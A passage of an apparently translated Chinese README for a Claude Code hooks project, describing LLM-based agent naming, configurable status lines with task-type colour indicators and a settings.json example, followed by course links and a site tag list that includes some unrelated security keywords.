**Agent 命名：** - 使用 LLM 服务自动生成唯一的 agent 名称 - 优先级：Ollama（本地）→ Anthropic → OpenAI → 回退名称 - 名称是单字、易记的标识符（例如 Phoenix、Sage、Nova） - 通过 `user_prompt_submit.py` 中的 `--name-agent` 标志启用 **自定义元数据（v4）：** - 使用 `/update_status_line` 命令添加自定义键值对 - 在青色括号中显示在状态栏末尾 - 在 Claude Code 交互期间持久保存 - 示例：`/update_status_line project myapp` ### 配置 在 `.claude/settings.json` 中设置你首选的状态栏： ``` { "statusLine": { "type": "command", "command": "uv run $CLAUDE_PROJECT_DIR/.claude/status_lines/status_line_v3.py" } } ``` **状态栏功能：** - **实时更新** - 消息更改时刷新（300ms 节流） - **颜色编码** - 不同任务类型的视觉指示器 - **智能截断** - 优雅地处理长 prompts - **Session 持久化** - 在交互之间维护上下文 **任务类型指示器（v2/v3）：** - 🔍 紫色 - 分析/搜索任务 - 💡 绿色 - 创建/实现任务 - 🔧 黄色 - 修复/调试任务 - 🗑️ 红色 - 删除任务 - ❓ 蓝色 - 问题 - 💬 默认 - 一般对话 ## 掌握 Agentic Coding 通过 [Tactical Agentic Coding](https://agenticengineer.com/tactical-agentic-coding?y=ssvhooks) 学习实用的 agentic coding 模式 关注 [IndyDevDan YouTube 频道](https://www.youtube.com/@indydevdan) 提升你的 agentic coding 优势。

标签：AI风险缓解, Anthropic, Astral UV, CIS基准, Claude Code, CLI, DLL 劫持, ElevenLabs, Firecrawl, Hooks, LLM, LLM评估, MCP Server, Meta-Agent, Model Context Protocol, Ollama, OpenAI, Petitpotam, Python, SOC Prime, Sub-Agents, Text-to-Speech, Unmanaged PE, Web Scraping, WiFi技术, Workflows, 人工智能, 元智能体, 内存规避, 团队验证, 大语言模型, 工作流自动化, 开发工具, 提示词工程, 教程, 数字取证, 无后门, 智能体编排, 最佳实践, 本地大模型, 用户模式Hook绕过, 确定性控制, 策略决策点, 自动化脚本, 语音合成, 逆向工具